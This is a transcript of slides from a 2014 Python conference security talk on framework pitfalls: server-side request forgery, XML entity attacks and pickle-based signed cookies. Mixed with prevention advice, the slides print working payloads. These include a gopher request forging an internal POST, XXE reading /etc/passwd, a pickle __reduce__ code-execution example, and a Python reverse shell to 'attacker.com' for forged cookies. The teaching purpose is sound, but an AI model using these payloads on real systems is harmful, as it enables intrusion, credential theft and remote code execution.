Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Mike Haworth: Surprise features you didn't ask for

Mike Haworth: Surprise features you didn't ask for

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Mike Haworth:
Surprise features you didn't ask for
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
@ Kiwi PyCon 2014 - Sunday, 14 Sep 2014 - Track 1
http://kiwi.pycon.org/

**Audience level**

Intermediate

**Description**

Some pitfalls of popular frameworks

**Abstract**

Frameworks enable developers to be enormously productive, but occasionally they include surprisingly unhelpful features. This talk will examine some recent bugs affecting Django as well as other popular frameworks and libraries. We will look at functionality, such as parsing of XML, that just doesn't behave as any reasonable person might expect, how this can be misused and what can be done to avoid the pitfalls.

**YouTube**

https://www.youtube.com/watch?v=1x0XS7jkwzs

6b880a0b67fac54c42c77fe70d97334d?s=128

New Zealand Python User Group

September 14, 2014
Tweet

Transcript

  1. Surprise Features That you didn’t ask for

  2. Outline Server Side Request Forgery (SSRF) Serialization mischief Signed cookies

  3. Server Side Request Forgery

  4. SSRF Example: API test page - User provides URL for

    remote API - Server makes request to API - Displays response to user
  5. SSRF

  6. SSRF: Bottle app @post('/fetch') def fetch(): url = request.forms.get('url') req

    = urllib2.Request(url) response = urllib2.urlopen(req) return response.read()
  7. SSRF: Bottle app

  8. SSRF Attacker with SSRF could: - access services on localhost

    - access other hosts in DMZ - bypass host based security restrictions
  9. SSRF Services that rely on host based auth: - memcached

    - Docker’s REST API (not enabled by default) - mongod REST API (read only) - CouchDB - lots more...
  10. SSRF and Python Libs urllib3 and requests libs only accept

    http(s):// - Only likely to be able forge GET urllib, urllib2 and pycurl support file:// - Can read a local file!
  11. Local file read from urllib2 @post('/fetch') def fetch(): url =

    request.forms.get('url') req = urllib2.Request(url) response = urllib2.urlopen(req) return response.read()
  12. SSRF and Python Libs pycurl accepts gopher:// THATS RIGHT, GOPHER!

    Can send any data (except 0x00) just URL encode it
  13. Forging a POST to internal host Forging a request to

    an internal host with gopher: gopher://192.168.43.235:8888/2%50%4f%53%54%20%2f%61%64%64%75%75%73%65%72%20% 48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%69%6e%74%65%72%6e%61 … The receiver sees POST to API from allowed host: POST /internal-api/adduser HTTP/1.1 Host: internal-api.server.local Content-Type: application/x-www-form-urlencoded Content-Length: 49 username=hax0r&password=hax0r
  14. SSRF memcached memcached speaks a plaintext protocol accessible without auth

    on port 11211 http://www.slideshare.net/d0znpp/ssrf-workshop
  15. SSRF memcached Example telnet session with memcache $ telnet localhost

    11211 set mykey 0 0 6 mydata STORED get mykey VALUE mykey 0 6 mydata END
  16. SSRF and memcache gopher://127.0.0.1:11211/2get%20mykey%0Aquit

  17. SSRF Bug Bounty There’s a file in the web root

    that can only be accessed from localhost. The file contains a bitcoin private key http://blog.fin1te.net/
  18. SSRF Bug Bounty http://blog.fin1te.net/

  19. SSRF Bug Bounty curl PHP’s parse_url

  20. Preventing SSRF Blacklist is error prone. Block requests to private

    ranges eg. 0.0.0.0 /8 127.0.0.1 /8
  21. Preventing SSRF Whitelisting can fail if site has redirect functionality

  22. Preventing SSRF Whitelisting can fail if site has redirect functionality

  23. Serialization Mischief

  24. XML XML is everywhere RSS, SVG, docx, odf, saml, SOAP,

    XMPP, EXIF... Just to name a few
  25. XML Parsing XML from Bottle @post('/lxml') def lxml(): from lxml

    import etree tree = etree.parse(request.body) return tree.getroot().text
  26. XML Entities Submit this: <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY

    author “John Doe”> ]> <root>&author;</root> Parsed Result: <root>John Doe</root>
  27. XML Billion laughs <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol

    "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ... ]> <lolz>&lol9;</lolz>
  28. XML External Entity (XXE) Submit this: <?xml version="1.0"?> <!DOCTYPE doc

    [ <!ENTITY external SYSTEM “file:///etc/passwd”> ]> <doc>&external;</doc> Parsed Result: <doc>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  29. XML and SSRF Submit this: <?xml version="1.0"?> <!DOCTYPE doc [

    <!ENTITY external SYSTEM “\\attackers-ip”> ]> <doc>&external;</doc> Parsed Result: Owned by SMBrelay
  30. XML and SSRF SMB Relay Get Victim to connect to

    us, relay their credentials to target
  31. SAX: Remote DTD retrieval @post('/sax') def sax(): from xml.sax import

    make_parser from xml.sax.handler import ContentHandler parser = make_parser() parser.setContentHandler(myHandler()) parser.parse(request.body)
  32. SAX: Remote DTD retrieval POST /sax HTTP/1.1 Host: localhost:8082 Content-Length:

    105 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo PUBLIC "-//AURA//PENTEST//EN" "http://172.16.1.44:8888"> <foo>SSRF in SAX via DTD retrieval</foo>
  33. SAX: Remote DTD retrieval Netcat listening on the attackers host

    $ nc -l 8888 GET / HTTP/1.0 Host: 172.16.1.44:8888 User-Agent: Python-urllib/1.17
  34. Status of XML parsing in Python libs Source: https://pypi.python.org/pypi/defusedxml

  35. Tastypie XXE

  36. Preventing XML parsing issues Can users control XML content that

    the app parses? Use diffusedxml Review 3rd party code for XML parsing
  37. Signed Cookies

  38. Session management 1. Opaque token id=<random string> OR 2. Serialized

    data id=<base64(serialize(obj))>.<hmac(k,m)>
  39. Signed cookies Session data is visible to user... which is

    fine unless you store a 2FA challenge in it
  40. Signed Cookies Session data is trusted so its fine to

    perform actions based on its data… unless the session data contains a discount thats already been applied
  41. Signed Cookies Its signed so its totally ok to just

    deserialize data from user… ..unless they can somehow read the secret key ..maybe the app’s vulnerable to XXE?
  42. Serializers: JSON v. Pickle Serializing with JSON risks: - Content

    visible to user - Replay attacks, if nonce not used - Content could be altered if secret exposed
  43. Serializers: JSON v. Pickle Serialize with Pickle, all of the

    risks for JSON plus: Unpickling user data introduces risk of remote code execution How?
  44. Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch

    /tmp/pwnd',)) # this is run when obj is created pickled = pickle.dumps(Exploit()) # serialize Exploit object to text print pickled pickle.loads(pickled) # create Exploit object from text https://blog.nelhage.com/2011/03/exploiting-pickle/
  45. Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch

    /tmp/pwnd',)) # this is run when obj is created pickled = pickle.dumps(Exploit()) print pickled pickle.loads(pickled) https://blog.nelhage.com/2011/03/exploiting-pickle/
  46. Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch

    /tmp/pwnd',)) pickled = pickle.dumps(Exploit()) # serialize Exploit object to text print pickled pickle.loads(pickled) https://blog.nelhage.com/2011/03/exploiting-pickle/
  47. Unpickling user data pickled = pickle.dumps(Exploit()) print pickled # print

    out serialized object pickle.loads(pickled) $ python pickleme.py cposix # this is what pickle “stack language” system # looks like p0 (S'touch /tmp/pwnd' p1
  48. Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch

    /tmp/pwnd',)) pickled = pickle.dumps(Exploit()) print pickled pickle.loads(pickled) # create Exploit object from text # (this is going to run) https://blog.nelhage.com/2011/03/exploiting-pickle/
  49. Unpickling user data $ python pickleme.py <object code> $ ls

    -l /tmp/pwnd -rw-rw-r-- 1 mike mike 0 Sep 13 11:46 /tmp/pwnd
  50. Signed cookies Since 1.6 Django started using JSON over pickle

    Flask switched to JSON in mid 2013 itsdangerous (good name) defaults to JSON (pickle optional)
  51. Signed Cookies Frameworks still using pickle: - Bottle - Pylons/Pyramid

    - Werkzeug - Beaker
  52. Signed Cookies: Bottle

  53. Remote Code Execution 1. Read the secret used to sign

    the cookie 2. Write code to give ourselves a shell 3. Use pickle to serialise the code 4. Base64 encode and sign 5. Send cookie to application
  54. None
  55. Reading the secret, used to sign

  56. Code for remote shell revshell = import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);

    s.connect(("attacker.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  57. Use Pickle to Serialise revshell 1. Read the secret used

    to sign the cookie 2. Write code to give ourselves a shell 3. Use pickle to serialise the code Create object with reduce method that’ll run shellcode http://vudang.com/2013/01/python-web-framework-from-lfr
  58. Create signed cookie, send to app

  59. Attacker’s host gets remote shell

  60. We’re Hiring Pentesting Challenges http://tinyurl.com/h4ckit